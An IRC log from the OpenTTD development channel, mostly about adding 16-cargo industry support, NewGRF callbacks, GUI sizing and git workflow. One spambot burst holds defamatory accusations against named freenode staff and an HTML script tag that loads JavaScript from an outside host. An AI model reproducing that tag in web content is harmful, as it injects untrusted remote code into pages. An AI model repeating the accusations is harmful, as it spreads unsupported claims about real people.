Times are UTC Toggle Colours
00:01:51 *** snail_UES_ has joined #openttd 00:07:40 *** host has quit IRC 00:07:45 *** sheraf has joined #openttd 00:23:25 *** smidlers has joined #openttd 00:24:59 *** smidlers has quit IRC 00:38:54 *** keoz has quit IRC 00:38:56 *** sheraf has quit IRC 00:39:23 *** montag451 has joined #openttd 00:41:38 *** montag451 has quit IRC 00:41:52 *** hook54321a has joined #openttd 00:41:58 *** Miklo has joined #openttd 00:42:55 *** Miklo has quit IRC 00:53:51 *** alphor has joined #openttd 00:56:44 *** Supercheese has joined #openttd 01:34:50 *** glx has quit IRC 01:38:34 *** hook54321a has quit IRC 01:39:25 *** idanoo has joined #openttd 02:26:19 *** OsteHove` has joined #openttd 02:27:17 *** OsteHovel has quit IRC 02:36:50 *** cottongin has joined #openttd 02:38:20 *** cottongin has quit IRC 02:38:34 *** idanoo has quit IRC 02:39:00 *** victorsueca has joined #openttd 02:45:50 *** ululate has joined #openttd 02:47:47 *** ululate has quit IRC 02:54:06 *** nauticalnexus has quit IRC 02:55:10 *** nauticalnexus has joined #openttd 02:58:45 *** Supercheese has quit IRC 02:59:07 *** Supercheese has joined #openttd 03:02:14 *** victorsueca has quit IRC 03:02:27 *** gigabytepro has joined #openttd 03:02:30 *** Flygon has joined #openttd 03:07:17 *** czart_ has joined #openttd 03:34:13 *** cHawk has joined #openttd 03:38:36 *** gigabytepro has quit IRC 03:39:34 *** hollyw00d has joined #openttd 03:43:39 *** cHawk has quit IRC 03:50:10 *** cHawk has joined #openttd 03:50:16 *** kameloso has joined #openttd 04:02:11 *** hollyw00d has quit IRC 04:02:56 *** whooa21 has joined #openttd 04:07:07 *** nauticalnexus has quit IRC 04:16:12 *** snail_UES_ has quit IRC 04:38:44 *** whooa21 has quit IRC 04:40:04 *** cats has joined #openttd 05:27:46 *** TinoDidriksen has quit IRC 05:27:46 *** Sacro has quit IRC 05:28:15 *** TinoDidriksen has joined #openttd 05:28:46 *** Sacro has joined #openttd 05:33:10 *** andythenorth has joined #openttd 05:38:52 *** cats has quit IRC 05:40:54 *** strengthen has joined #openttd 05:53:48 *** andythenorth has quit IRC 06:08:27 *** andythenorth has joined #openttd 06:14:35 <andythenorth> hmm 06:14:42 <andythenorth> so FIRS with 16 input / output cargos 06:20:19 <peter1138> Oh gods 06:20:22 <peter1138> What have we done. 06:21:34 <andythenorth> well 06:21:36 <andythenorth> it's not done yet 06:21:54 <andythenorth> unless I missed a memo :P 06:22:20 <andythenorth> https://www.brainyquote.com/quotes/francis_ford_coppola_314419 06:38:45 *** strengthen has quit IRC 06:38:53 *** noganoo has joined #openttd 07:06:49 *** APTX_ has joined #openttd 07:07:53 *** keoz has joined #openttd 07:12:26 *** noganoo has quit IRC 07:12:40 *** d0nn1e has joined #openttd 07:16:12 *** d0nn1e has quit IRC 07:16:17 *** timvisher has joined #openttd 07:28:54 *** Supercheese has quit IRC 07:29:16 *** Supercheese has joined #openttd 07:34:19 *** timvisher has quit IRC 07:34:35 *** cooldude_ has joined #openttd 07:38:44 *** cooldude_ has quit IRC 07:38:58 *** abbeyripstra has joined #openttd 07:41:11 *** Supercheese has quit IRC 07:42:30 *** chomwitt has joined #openttd 07:50:52 *** pilottage has joined #openttd 07:50:52 *** LJ has quit IRC 07:50:56 <pilottage> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/ 07:50:59 <pilottage> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/ 07:51:02 *** LJ has joined #openttd 07:51:02 <pilottage> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate 07:51:06 <pilottage> This message was brought to you by Private Internet Access. Voice your opinions at https://webchat.freenode.net/?channels=%23freenode 07:51:09 <pilottage> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> 07:51:15 *** pilottage has quit IRC 07:52:24 <Eddi|zuHause> so much for "is it over?" 07:53:44 <LordAro> heh 08:01:35 <andythenorth> oh dear 08:02:18 *** peter1138 sets mode: +R 08:02:50 <LordAro> i like the script tag 08:03:03 <peter1138> Mmm 08:38:46 *** abbeyripstra has quit IRC 08:54:09 *** andythenorth has left #openttd 09:09:08 *** Maarten has quit IRC 10:15:03 *** Maarten has joined #openttd 10:51:23 *** andythenorth has joined #openttd 10:51:28 <andythenorth> grump grump grump 11:26:29 *** IgnoredAmbience has left #openttd 11:30:30 <peter1138> sup 11:30:35 <peter1138> Is it lunch time yet? 11:31:51 <andythenorth> pretty much 11:32:29 <andythenorth> also merge time 11:36:22 <peter1138> I push -f'd :p 11:36:47 <peter1138> Only change is to update the savegame version log to include the PR number 11:41:24 <andythenorth> 64 of everything 11:41:29 <andythenorth> then see what broke 11:41:36 <andythenorth> 'probably fine' 12:04:25 <LordAro> peter1138: that seems like a reasonable thing 12:04:34 <LordAro> it's no worse than including the revision number, after all 12:10:27 <peter1138> Either of you fancy reapproving it? TB had done so but I wanted to get that comment right. 12:19:52 * andythenorth looks 12:21:56 <andythenorth> I probably can't :( 12:22:00 <andythenorth> sorry 12:22:58 <peter1138> Just a ticky box exercise... 12:23:01 <andythenorth> peter1138: so literally this changed since TB's review? https://github.com/OpenTTD/OpenTTD/pull/6805/commits/97d854bd1b9ccd545936253febe3b202c8e0858a#diff-2e3543c333838e2f3b92cbf76235777bR270 12:23:34 <peter1138> Yeah, just that line. 12:23:46 <peter1138> It didn't have the PR number initially 12:24:23 <peter1138> A separate commit would've been easier to review but then it'd be in the wrong revision. I didn't want to flatten this one. 12:24:46 <andythenorth> eh I thought TB gave me approval rights 12:24:51 <andythenorth> but I can't see an 'approve' button here 12:25:44 <peter1138> Clicked on "Files changed" tab 12:26:08 <peter1138> Then "Review changes" appears, approve is in there. 12:26:33 <peter1138> Feel free to let someone else do it ;) 12:26:36 <andythenorth> done 12:26:52 <andythenorth> no kittens died 12:27:12 <peter1138> No, that's my job in a second. 12:27:55 <peter1138> WE GONNA DIE 12:28:47 <andythenorth> probs have to fix NRT next 12:28:52 <peter1138> Yes 12:28:56 <peter1138> I have a patch for that... 12:28:57 <andythenorth> - fix the infinite payment bug 12:29:00 <andythenorth> - add 64 types :P 12:29:01 <peter1138> Not that one yet. 12:29:08 <peter1138> Did the 64 types ;) 12:29:17 <andythenorth> think of all the free map bits we have now 12:29:49 <andythenorth> 64 kinds of fence :P 12:30:06 <andythenorth> mumble mumble trees 12:37:01 <peter1138> 2^64 maps 12:37:29 <peter1138> Might need to wait a bit for RAM for that. 12:39:26 <peter1138> https://github.com/PeterN/OpenTTD/commit/e29929f87a75e35c0ddeb78cd48f201a913f00a3 < based on the wrong patch but I should be able to update it easily. 12:39:43 <peter1138> Then you can cherry-pick and push 12:41:31 <andythenorth> https://github.com/andythenorth/OpenTTD/commits/nrt-block 12:41:44 <peter1138> Wut 12:41:46 <andythenorth> dunno if that should be squashed 12:41:49 <peter1138> No, NOT YET 12:42:09 <peter1138> That's the outdated version o_O 12:42:24 <peter1138> "I should be able to update it easily." "Then you can cherry-pick and push" 12:42:27 <peter1138> Not ... DO IT NOW 12:42:30 <andythenorth> I missed 'then' 12:42:48 <peter1138> You need to undo that 12:43:09 <andythenorth> yair 12:43:16 <peter1138> git reset HEAD~1 12:43:32 <andythenorth> every time I do this I get slightly less bad at git 12:43:45 *** snail_UES_ has joined #openttd 12:44:03 <peter1138> No, I think that was pretty bad. 12:44:23 <andythenorth> yes but now I learnt a new way to back out 12:44:27 <andythenorth> instead of reverting the commit 12:44:35 <andythenorth> https://github.com/andythenorth/OpenTTD/commits/nrt-block 12:44:41 <peter1138> That's true :p 12:44:43 <andythenorth> usually I just revert, and then get 2 commits 12:44:53 <andythenorth> and then a merge pain later, when the reverted stuff is re-merged 12:45:24 <peter1138> Rewriting history is anathema to how the people who designed git use git. But it's useful ;) 12:45:45 <andythenorth> if I do this at work I'm a get yelled at :D 12:45:50 <peter1138> Yup 12:46:00 <peter1138> You can do it in your own local branches though. Nobody will know. 12:46:04 <andythenorth> it's not that we care about history much, but we don't like it being changed under us 12:46:13 <peter1138> We'd never do it in master either. 12:46:38 <SpComb> github protected branches 12:53:59 <andythenorth> 131 closed PRs 12:54:13 <andythenorth> https://github.com/OpenTTD/OpenTTD/pulls?q=is%3Apr+is%3Aclosed 13:13:55 *** snail_UES_ has quit IRC 13:21:25 *** ToBeFree has joined #openttd 13:23:34 *** ToBeFree has quit IRC 13:26:55 *** Alberth has joined #openttd 13:26:56 *** ChanServ sets mode: +o Alberth 13:27:02 <Alberth> o/ 13:27:58 <andythenorth> hi Alberth 13:44:53 *** nielsm has joined #openttd 14:03:14 *** Mahjong has quit IRC 14:09:30 *** sim-al2 has quit IRC 14:26:03 <nielsm> allright birds' cage cleaned, time to look at this newgrf stuff again 14:30:10 <andythenorth> :D 14:30:16 <andythenorth> one bird or plural bird? 14:31:48 *** andythenorth has quit IRC 14:32:38 <nielsm> two 14:47:13 *** Compu has quit IRC 14:49:09 <nielsm> have anyone made a space theme where water is replaced with blackness with occasional shimmering stars? :D 14:49:40 <nielsm> and the land is rocky asteroids 14:50:13 <colde> If nobody has, could they? 14:50:25 <peter1138> Hmm, interesting theme. 14:50:26 *** chomwitt has quit IRC 14:50:43 <peter1138> The obvious planet/moon surface has been done, but not that, I think. 14:55:12 <nielsm> original starcraft had the space platform theme too 15:05:23 <nielsm> hmm, looking at newgrf specs, I think there is an issue with 64 cargo types here 15:05:40 <nielsm> callback 2A and 2C only use 5 bits per cargo type 15:05:50 <nielsm> with 3 cargoes packed into 16 bits 15:06:16 <nielsm> so only the first 32 cargo indices known by the newgrf can be used for acceptance 15:06:17 <nielsm> I think? 15:06:29 <nielsm> or was that fixed in some way? 15:06:47 <nielsm> oh right only used for dynamic acceptance 15:11:50 *** Compu has joined #openttd 15:15:07 <peter1138> Also it's an index into a cargo translation table, not the direct cargo index. 15:15:41 <peter1138> I did once have a patch for 32 bit callback responses... 15:16:06 <peter1138> Urgh, not home time yet. 15:30:26 *** Wormnest has joined #openttd 15:35:18 *** andythenorth has joined #openttd 15:36:19 *** Progman has joined #openttd 15:37:57 <nielsm> huh how do I translate a CargoID back to a translation table index 15:42:15 <nielsm> ah there is a GRFFile::cargo_map array 15:47:13 *** virtualrandomnumber has joined #openttd 15:51:57 <peter1138> There should already be functions to do that. 15:59:48 <nielsm> looks like a straight lookup is the way to do it, indspec->grf_prop.grffile->cargo_map[cargo_type] 15:59:55 <nielsm> I see that pattern several places already 16:08:34 *** Flygon has quit IRC 16:11:05 *** Compu has quit IRC 16:12:44 *** Compu has joined #openttd 16:16:11 *** virtualrandomnumber has quit IRC 17:13:49 <nielsm> IT COMPILES 17:13:50 <nielsm> again 17:14:01 <andythenorth> awesome :) 17:14:05 <andythenorth> I will BBL 17:14:07 <andythenorth> or tomorrow :) 17:14:08 *** andythenorth has quit IRC 17:14:11 <nielsm> going to smoke test a bit 17:14:46 <nielsm> https://0x0.st/sVY0.jpg 17:14:48 <nielsm> nope 17:17:55 *** frosch123 has joined #openttd 17:18:43 <frosch123> @mode -R 17:18:43 *** DorpsGek sets mode: -R 17:22:46 *** rocky113844 has quit IRC 17:23:26 <nielsm> lol 17:23:40 <nielsm> the industry chain window becomes ridiculously large with 16 in/out 17:23:53 <nielsm> the sizing logic for it might need some reworking 17:24:35 <nielsm> https://0x0.st/sVYR.png 17:24:40 <nielsm> that's minimum size 17:25:56 *** Wolf01 has joined #openttd 17:27:07 *** violet has joined #openttd 17:28:24 <Wolf01> o/ 17:28:43 <violet> o/ 17:30:02 *** violet has quit IRC 17:31:10 *** jovan has joined #openttd 17:34:18 *** jovan has quit IRC 17:34:24 *** macky has joined #openttd 17:34:30 <frosch123> @mode +R 17:34:30 *** DorpsGek sets mode: +R 17:34:38 *** macky has quit IRC 17:38:11 <LordAro> frosch123: heh 17:38:24 <LordAro> that one even said hello 17:40:54 <nielsm> I wonder, #tycoon isn't getting any, is it just the size perhaps? 17:42:22 <Wolf01> Maybe they noticed here is full of different animals and came 17:43:53 <LordAro> nielsm: i think this is one of the larger channels on oftc 17:44:03 <LordAro> so it's probably on a list of popular channels or something 17:51:35 <Wolf01> Oh, Eddi|zuHause: I think I found a really plausible reason for the "unread messages" on the phpBB forums, it seem to do it with a high chance when you use the history back instead of the link to the section, it seem to lose the topic you have just read in the section variable 17:53:09 <frosch123> LordAro: it's also in devzone, and that has only 21 animals and zombies 17:53:16 <Eddi|zuHause> huh? if you use back, you likely have a cached version of the page, with the newly-unread messages not counting, obviously. but that doesn't explain cases where you get to the page from elsewhere 17:53:26 <LordAro> frosch123: no idea then 17:53:35 <Eddi|zuHause> err, newly-read 17:56:08 <Wolf01> I should look at the phpBB sources to know what it does with cookies, maybe it's just an inconsistent status with caches and history 18:00:06 <Wolf01> BTW, dinner 18:25:29 *** Sheogorath has joined #openttd 18:26:21 *** tokai has joined #openttd 18:26:21 *** ChanServ sets mode: +v tokai 18:29:32 <frosch123> planetmaker: https://github.com/frosch123/nml <- does this look reasonable? 18:33:02 *** tokai|noir has quit IRC 19:06:50 <Eddi|zuHause> are we even still close to anything "reasonable" here? 19:52:39 *** andythenorth has joined #openttd 19:52:44 <andythenorth> o/ 19:53:06 <frosch123> andythenorth: https://github.com/frosch123/nml <- does this look reasonable? 19:53:23 <frosch123> i migrated various authors to the usual emails 19:53:29 <andythenorth> at first glance looks totally fine 19:53:31 <andythenorth> let me pull 19:54:09 <andythenorth> how did you do it? 19:54:53 <andythenorth> not sure I've ever seen https://github.com/kaechele 19:56:29 <frosch123> it's he*fner 19:56:33 <andythenorth> oic 19:56:34 <andythenorth> ok 19:56:36 <frosch123> out fedora guy 19:56:54 <frosch123> i entered the fedora email, and github linked to that guy 19:57:38 <andythenorth> my checkout isn't picking up the 2 stale release branches 19:57:42 <andythenorth> not sure if that's my failure 19:57:45 <andythenorth> probably doesn't matter 19:59:43 <andythenorth> the checkout works and 'make test' passes 20:03:01 <nielsm> okay I think the newgrf spec for 16-in-16-out industries is implemented now :) 20:03:13 <andythenorth> oh :) 20:03:16 <andythenorth> \o/ 20:03:21 <nielsm> smoke testing loading old saves passes 20:03:45 <nielsm> tried with original industries, and versions of FIRS 3, ECS, SPI 20:04:59 <andythenorth> I should test eh 20:05:07 <nielsm> please break it :D 20:05:41 <andythenorth> hmm 20:05:47 <andythenorth> how to update a local PR branch 20:05:51 * andythenorth google 20:06:02 <nielsm> easiest is probably to delete and re-fetch it 20:06:06 <nielsm> because I force pushed 20:06:16 <andythenorth> ok 20:06:29 <nielsm> since the 64 railtypes PR was accepted and bumped save version, making my changes not merge 20:07:29 <andythenorth> what are the .obg, .obm etc files that creep into my checkout? 20:07:55 <nielsm> base set definitions? 20:08:22 <frosch123> incomplete eints scripts :) 20:08:30 <nielsm> yeah 20:08:32 <frosch123> more magic needed 20:08:35 <andythenorth> every time I run ./configure, my git is poisoned :) 20:08:51 <nielsm> makefile build updates the translations in the bin/ versions with strings from the lang files 20:08:55 <andythenorth> I'll keep ignoring them 20:08:57 <andythenorth> shit happens 20:09:27 <nielsm> "git checkout bin/*.ob?" 20:09:29 <andythenorth> :) 20:09:36 <nielsm> will probably restore them to unchanged state 20:09:45 <andythenorth> I just reset hard 20:09:50 <andythenorth> my favourite git command 20:09:56 <andythenorth> /me compiling 20:09:59 *** glx has joined #openttd 20:09:59 *** ChanServ sets mode: +v glx 20:10:04 <andythenorth> wonder if it will be faster when my quad core arrives 20:10:24 <nielsm> remember to use parallel make, make -j4 20:10:28 <nielsm> for 4 threads 20:14:53 <Wolf01> Remember to switch to a proper operating system 20:19:00 <LJ> Wolf01: you mean any OS released in the past 5 years? 20:19:24 <peter1138> Only 4 threads? o_O 20:22:00 <Alberth> export MAKEFLAGS=-j4 20:22:09 <Alberth> much simpler :) 20:23:45 *** Alberth has left #openttd 20:24:21 <andythenorth> I use -j13 usually :P 20:28:50 <nielsm> anyway, the part I'm most unsure about with the newgrf support for many cargoes is the CB querying for all types in FinaliseIndustriesArray() 20:29:32 <nielsm> but at least it seems to be working for existing newgrfs 20:33:21 <andythenorth> I can't break it so far 20:33:43 <peter1138> SHIP IT 20:33:54 <peter1138> I think we did that joke. 20:33:54 <andythenorth> he made a PR :P 20:34:37 <andythenorth> @seen snail_UES 20:34:37 <DorpsGek> andythenorth: I have not seen snail_UES. 20:36:40 <andythenorth> industry directory window will get....wide eh? :) 20:36:46 <andythenorth> with 16 output cargos 20:38:58 <andythenorth> nielsm: definitely 16? o_O 20:39:19 <andythenorth> I don't want to argue it out, just curious if 8 is any better 20:39:32 <nielsm> https://user-images.githubusercontent.com/1062071/43287240-b9388e30-9124-11e8-913a-42a002cf847b.png 20:39:40 <nielsm> yeah maybe 8 is enough :P 20:39:41 <frosch123> does the gui change even when industries do not use that many cargos? 20:40:05 <nielsm> the industry chain gui always makes room for the max number 20:40:10 <frosch123> hmm, isn't it possible to first count the number of cargos, and then make it as big as needed 20:40:25 <nielsm> that's also one of my ideas for solving it 20:40:51 <andythenorth> I am +/-0 on 16, I just wonder if it eases the UI issues 20:41:04 <andythenorth> 16 is 'more than enough' unless someone is trolling 20:41:32 <nielsm> I think 8 will be "not quite enough" for some cases 20:41:40 <nielsm> maybe 10 is a better comprimise actually 20:42:17 *** Supercheese has joined #openttd 20:43:09 <andythenorth> in that case I'd stick to 16 20:43:24 <andythenorth> it's a nice power of 2, and is definitely 'more than enough' 20:43:59 <nielsm> yea I think finding a solution to the GUI problem now is better in the long run 20:44:23 <peter1138> Larks 20:45:47 *** sim-al2 has joined #openttd 20:48:18 * andythenorth has some terrible ideas 20:48:28 <andythenorth> not for GUI, but for troll industry grfs 20:49:18 <andythenorth> deliver any of 16 cargos, it's split 16 ways 20:49:29 <andythenorth> returning 15 of the 16 inputs, and one new one 20:49:41 <andythenorth> 16 industry types like that 20:49:56 <andythenorth> total stupidity 20:52:44 <frosch123> V would be proud of you 20:53:11 <andythenorth> all cargos are just 'A', 'B' etc 20:53:16 <andythenorth> and YETI 20:53:27 <LordAro> :D 20:53:52 <nielsm> hm slightly better! https://0x0.st/sVEx.png 20:53:52 <andythenorth> mostly, I am just going to increase some outputs to 3 20:53:59 <andythenorth> in actual FIRS 20:54:06 <andythenorth> nielsm: yeah that's nicer 20:54:12 <nielsm> still too wide 20:54:30 <andythenorth> oh it's allowing for 16 columns? 20:54:38 <nielsm> yes :/ 20:55:23 <andythenorth> hmm 20:55:30 <nielsm> and I can't figure out where it calculates that 20:55:31 <andythenorth> 16 is going to be an ugly fest eh 20:55:50 <nielsm> 16 cargoes only supported on high resolution displays 20:56:35 * andythenorth might have to sleep 20:56:48 <nielsm> ditto 20:56:52 <andythenorth> gn all 20:56:57 *** andythenorth has left #openttd 21:07:38 <nielsm> okay it's back to normal! 21:08:24 <nielsm> https://0x0.st/sVEk.png 21:09:54 <nielsm> and that's enough work for tonight 21:12:09 *** frosch123 has quit IRC 21:17:56 *** nielsm has quit IRC 21:18:38 <peter1138> Is that by reverting? :D 21:31:28 *** Progman has quit IRC 21:53:34 <Wolf01> 'night 21:53:38 *** Wolf01 has quit IRC 21:54:54 *** Wormnest has quit IRC 22:19:58 *** Supercheese has quit IRC 22:31:12 <peter1138> Hmm, right, should I rebase nrt-block again? :o 22:47:51 *** keoz has quit IRC 23:03:05 *** chomwitt has joined #openttd